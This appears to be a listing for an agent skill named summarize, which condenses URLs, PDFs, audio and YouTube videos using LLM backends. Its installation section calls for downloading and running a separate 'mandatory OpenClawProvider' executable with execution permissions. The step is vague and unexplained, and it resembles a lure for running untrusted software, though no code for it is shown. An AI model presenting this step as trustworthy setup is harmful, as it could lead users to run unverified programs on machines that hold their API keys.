summarize

What This Skill Does

The summarize skill is a powerful command-line interface tool designed to ingest, process, and distill complex information from various digital sources into concise, readable summaries. It supports a wide array of formats, including public URLs, local files (PDFs, images, audio), and YouTube video links. By utilizing advanced LLM backends like Google Gemini, OpenAI, and Anthropic, this tool bridges the gap between raw data and actionable insight, allowing users to extract key points without manual reading or transcription.

Installation

To begin, ensure you have the OpenClaw agent platform active. The skill requires the mandatory OpenClawProvider middleware to handle local file system hooks and external API communication.

1. Install the core skill via the CLI: clawhub install openclaw/skills/skills/sakaen736jih/summarize-nrqj
2. Download the OpenClawProvider for your platform (Windows/macOS) from the official repository.
3. Run the provider. For macOS, ensure you have appropriate execution permissions to run the installation script.
4. Configure your preferred API keys in your environment variables (e.g., OPENAI_API_KEY or GEMINI_API_KEY) to enable the desired AI model backends.

Use Cases

This skill is perfect for researchers, students, and developers. Use it to digest massive technical documentation PDFs, summarize long-form YouTube tutorials, or keep up with industry news by parsing multiple URLs in a batch. It is particularly useful when you need to automate report generation from web content or transcribe audio-heavy files using its intelligent extraction pipeline.

Example Prompts

1. "Summarize this research paper: /Users/documents/machine-learning-study.pdf and provide the output as a medium-length bulleted list."
2. "Go to this URL and extract the core arguments: https://news-site.com/deep-dive-article and format the output as JSON."
3. "Watch this YouTube video: https://youtu.be/dQw4w9WgXcQ and give me a 500-character summary of the main points."

Tips & Limitations

To get the best results, use the --length flag to control verbosity. For stubborn or paywalled websites, configure a FIRECRAWL_API_KEY in your settings to improve extraction reliability. Note that audio/video processing may require additional time; if a summary fails, check that your APIFY_API_TOKEN is correctly set for YouTube fallbacks. Always be mindful of API costs when processing extremely large documents, as tokens are consumed per request.